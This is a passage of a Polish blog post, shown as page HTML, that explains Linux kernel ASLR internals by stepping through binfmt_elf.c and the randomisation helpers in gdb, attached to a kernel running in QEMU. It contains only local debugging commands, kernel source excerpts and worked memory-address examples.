&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>i uruchamiamy go za pomocą poleceń:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">$ chmod +x run.sh
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ ./run.sh . image/&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;img src="./l5.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Po wykonaniu powinniśmy zobaczyć ekran z logowaniem do systemu,
logujemy się na użytkownika root, który nie ma hasła.&lt;/p>
&lt;p>&lt;img src="./l6.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>W tym momencie możemy w drugim terminalu podpiąć się za pomocą gdb do
portu 1234 udostępnionego przez qemu. Uruchamiamy gdb poprzez &lt;code>$ gdb ./vmlinux&lt;/code> i wpisujemy w gdb polecenie &lt;code>target remote 0:1234&lt;/code>.&lt;/p>
&lt;p>&lt;img src="./l7.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>W tym momencie mamy podpięte gdb do kernela Linuxa, którego
skompilowaliśmy, yay! Możemy wykonywać wszystkie komendy, które znamy
z debugowania programów uruchamianych w userspace, jak breakpointy,
czy stepowanie i nextowanie. Dodatkowo używam pluginu do gdb
&lt;a href="https://github.com/pwndbg/pwndbg"target="_blank" rel="noopener">pwndbg&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, który teoretycznie jest
stworzony z myślą o exploit developmencie i inżynierii wstecznej,
natomiast używam go również do zwykłego debugowania, jako że ułatwia
używanie gdb i jestem do niego przyzwyczajony. Są też inne pluginy jak
&lt;a href="https://github.com/hugsy/gef"target="_blank" rel="noopener">gef&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> albo
&lt;a href="https://github.com/cyrus-and/gdb-dashboard"target="_blank" rel="noopener">gdb-dashboard&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>, który
jest bardziej stworzony z myślą o zwykłych programistach. Polecam
sobie któryś wybrać i zainstalować zgodnie z instrukcjami w README
danego pluginu.&lt;/p>
&lt;p>&lt;img src="./l8.png" alt="image" loading="lazy" />&lt;/p>
&lt;p>Jesteśmy też w stanie się połączyć do użytkownika w środku qemu za
pomocą ssh, jak i również przesyłać pliki przez scp (co się może
przydać, np. żeby przesłać binarkę, którą kompilujemy lokalnie, a chcemy
wykonać w środku QEMU).&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">$ scp -i image/bullseye.id_rsa -P &lt;span class="m">10021&lt;/span> -o &lt;span class="s2">&amp;#34;StrictHostKeyChecking no&amp;#34;&lt;/span> ./plik root@localhost:/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">$ ssh -i image/bullseye.id_rsa -p &lt;span class="m">10021&lt;/span> -o &lt;span class="s2">&amp;#34;StrictHostKeyChecking no&amp;#34;&lt;/span> root@localhost&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;img src="./l9.png" alt="image" loading="lazy" />&lt;/p>
&lt;h3>Deep-dive&lt;span class="hx:absolute hx:-mt-20" id="deep-dive">&lt;/span>
&lt;a href="#deep-dive" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Funkcja &lt;code>static int load_elf_binary(struct linux_binprm *bprm)&lt;/code> w
pliku &lt;code>fs/binfmt_elf.c&lt;/code> jest odpowiedzialna za wczytywanie plików
wykonywalnych do pamięci i to właśnie od jej fragmentów zaczniemy,
jako że losowanie zaczyna się właśnie tutaj.&lt;/p>
&lt;p>Do zrozumienia jak to działa w gdb, stawiamy breakpoint w wyżej
wymienionej funkcji i będziemy uruchamiać program &lt;code>$ cat /proc/self/maps&lt;/code>, który wyświetli, gdzie są zmapowane wszystkie
segmenty pamięci.&lt;/p>
&lt;h4>Binarka&lt;span class="hx:absolute hx:-mt-20" id="binarka">&lt;/span>
&lt;a href="#binarka" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h4>&lt;p>&lt;a href="https://github.com/torvalds/linux/blob/a5806cd506af5a7c19bcd596e4708b5c464bfd21/fs/binfmt_elf.c#L1130"target="_blank" rel="noopener">Na linii 1130&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> mamy kod wykonujący się dla plików ELF z &lt;code>ET_DYN&lt;/code>
(inaczej mówiąc, są to binarki skompilowane z &lt;code>-pie -fpie&lt;/code>). W warunku
ifa dodatkowo sprawdzamy, czy nasza binarka ma jakiś &amp;ldquo;interpreter&amp;rdquo;. W
przypadku ELFów jest to loader/ld-linux.so, natomiast w przypadku
wykonywalnych plików tekstowych, interpreter jest definiowany przez
&lt;a href="https://en.wikipedia.org/wiki/Shebang_%28Unix%29"target="_blank" rel="noopener">shebang&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">interpreter&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/* On ET_DYN with PT_INTERP, we do the ASLR. */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">load_bias&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ELF_ET_DYN_BASE&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">current&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">flags&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="n">PF_RANDOMIZE&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">load_bias&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="nf">arch_mmap_rnd&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/* Adjust alignment as requested. */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">alignment&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">load_bias&lt;/span> &lt;span class="o">&amp;amp;=&lt;/span> &lt;span class="o">~&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">alignment&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">elf_flags&lt;/span> &lt;span class="o">|=&lt;/span> &lt;span class="n">MAP_FIXED_NOREPLACE&lt;/span>&lt;span class="p">;&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Makro &lt;code>ELF_ET_DYN_BASE&lt;/code> jest równe 0x555555554aaa i definiuje bazowy
adres (precyzyjnie mówiąc 0x555555554000 po wyrównaniu do stron
pamięci) ładowania dla PIE, do którego nasz program byłby ładowany
gdyby nie ASLR. Ta pozornie losowa wartość została najprawdopodobniej wybrana
jako łatwa do rozpoznania podczas debugowania - wzór &amp;ldquo;555&amp;rdquo; jest
charakterystyczny i natychmiast wskazuje na PIE binarkę. Ponieważ mamy
włączone ASLR, wykonuje się dodatkowo linijka &lt;code>load_bias += arch_mmap_rnd();&lt;/code>, która dodaje losowość do adresu, do którego będzie
ładowany nasz program. Teraz przyjrzymy się tej funkcji.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="nf">arch_mmap_rnd&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nf">arch_rnd&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nf">mmap_is_ia32&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">?&lt;/span> &lt;span class="nl">mmap32_rnd_bits&lt;/span> &lt;span class="p">:&lt;/span> &lt;span class="n">mmap64_rnd_bits&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">static&lt;/span> &lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="nf">arch_rnd&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">int&lt;/span> &lt;span class="n">rndbits&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">current&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">flags&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="n">PF_RANDOMIZE&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">get_random_long&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="mi">1UL&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="n">rndbits&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="o">&amp;lt;&amp;lt;&lt;/span> &lt;span class="n">PAGE_SHIFT&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Funkcja &lt;code>arch_mmap_rnd&lt;/code> wywołuje &lt;code>arch_rnd&lt;/code> z argumentem
&lt;code>mmap64_rnd_bits&lt;/code> lub &lt;code>mmap32_rnd_bits&lt;/code>, zależnie od tego, czy nasz
program jest 32-bitowy. Stała &lt;code>mmap64_rnd_bits&lt;/code> jest równa 28. Funkcja
&lt;code>arch_rnd&lt;/code> losuje nam 28-bitową liczbę, po czym wykonuje przesunięcie
bitowe (&lt;code>PAGE_SHIFT&lt;/code>), żeby wyrównać liczby do stron pamięci, które
mają rozmiar 4KiB. Przykładowe liczby, które ta funkcja zwróci, to:
0xe14e215000, 0x110feee000 i 0x6eb8eda000.&lt;/p>
&lt;p>Wylosowana liczba jest dodawana do zmiennej &lt;code>load_bias&lt;/code>, która jest
równa &lt;code>0x555555554aaa&lt;/code>. Po dodaniu &lt;code>0x6eb8eda000&lt;/code> do tej zmiennej,
przyjmuje ona wartość &lt;code>0x55c40e42eaaa&lt;/code>. Maska &lt;code>~(alignment - 1)&lt;/code> jest
równa &lt;code>0xfffffffffffff000&lt;/code>, zatem po operacji maskowania &lt;code>load_bias &amp;amp;= ~(alignment - 1);&lt;/code> zmienna &lt;code>load_bias&lt;/code> jest równa &lt;code>0x55c40e42e000&lt;/code>. Po
wpisaniu &lt;code>continue&lt;/code> do gdb, komenda cat pokazuje nam, że rzeczywiście
w tym miejscu w pamięci nasz program się pojawił.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">root@syzkaller:~# cat /proc/self/maps
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">55c40e42e000-55c40e430000 r--p &lt;span class="m">00000000&lt;/span> 08:00 &lt;span class="m">12243&lt;/span> /usr/bin/cat
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">55c40e430000-55c40e435000 r-xp &lt;span class="m">00002000&lt;/span> 08:00 &lt;span class="m">12243&lt;/span> /usr/bin/cat
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">55c40e435000-55c40e438000 r--p &lt;span class="m">00007000&lt;/span> 08:00 &lt;span class="m">12243&lt;/span> /usr/bin/cat
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">55c40e438000-55c40e439000 r--p &lt;span class="m">00009000&lt;/span> 08:00 &lt;span class="m">12243&lt;/span> /usr/bin/cat
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">55c40e439000-55c40e43a000 rw-p 0000a000 08:00 &lt;span class="m">12243&lt;/span> /usr/bin/cat
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">55c448bc7000-55c448be8000 rw-p &lt;span class="m">00000000&lt;/span> 00:00 &lt;span class="m">0&lt;/span> &lt;span class="o">[&lt;/span>heap&lt;span class="o">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">...&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;h4>Heap&lt;span class="hx:absolute hx:-mt-20" id="heap">&lt;/span>
&lt;a href="#heap" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h4>&lt;p>Dużo niżej w tej samej funkcji, na samym końcu &lt;a href="https://github.com/torvalds/linux/blob/a5806cd506af5a7c19bcd596e4708b5c464bfd21/fs/binfmt_elf.c#L1330"target="_blank" rel="noopener">w linii 1330&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> mamy
losowanie miejsca, w którym znajdzie się początek sterty.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl"> &lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">start_brk&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">brk&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">ELF_PAGEALIGN&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">elf_brk&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">current&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">flags&lt;/span> &lt;span class="o">&amp;amp;&lt;/span> &lt;span class="n">PF_RANDOMIZE&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">snapshot_randomize_va_space&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="cm">/*
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * If we didn&amp;#39;t move the brk to ELF_ET_DYN_BASE (above),
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> * leave a gap between .bss and brk.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cm"> */&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="n">brk_moved&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">brk&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">start_brk&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">brk&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">PAGE_SIZE&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">brk&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">start_brk&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">arch_randomize_brk&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">mm&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">brk_moved&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">true&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Bez &lt;code>randomize_va_space&lt;/code>, wspomnianego na początku artykułu,
ustawionego na więcej niż 1, &lt;code>mm-&amp;gt;brk&lt;/code> będzie po prostu położone zaraz
po tym, gdzie kończy się nasza binarka. W przeciwnym przypadku, ta wartość
jest losowana w funkcji &lt;code>arch_randomize_brk&lt;/code>, której się
przyjrzymy. Skąd pochodzi nazwa &lt;code>brk&lt;/code>? Otóż, miejsce, w którym wyznaczany
jest heap, jest definiowane przez wywołanie systemowe &lt;code>brk&lt;/code>. Słowo
&amp;ldquo;break&amp;rdquo; oznacza tutaj &amp;ldquo;granicę&amp;rdquo; lub &amp;ldquo;punkt przerwania&amp;rdquo; - &lt;code>brk&lt;/code> to
wskaźnik w pamięci, który określa koniec sterty. Gdy program
potrzebuje więcej pamięci na stercie, używa wywołania systemowego
&lt;code>brk&lt;/code> i &amp;ldquo;przesuwa break&amp;rdquo; wyżej w pamięci, zwiększając tym dostępną
przestrzeń.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="kt">unsigned&lt;/span> &lt;span class="kt">long&lt;/span> &lt;span class="nf">arch_randomize_brk&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="k">struct&lt;/span> &lt;span class="n">mm_struct&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">mm&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">mmap_is_ia32&lt;/span>&lt;span class="p">())&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nf">randomize_page&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">brk&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SZ_32M&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nf">randomize_page&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">mm&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">brk&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SZ_1G&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
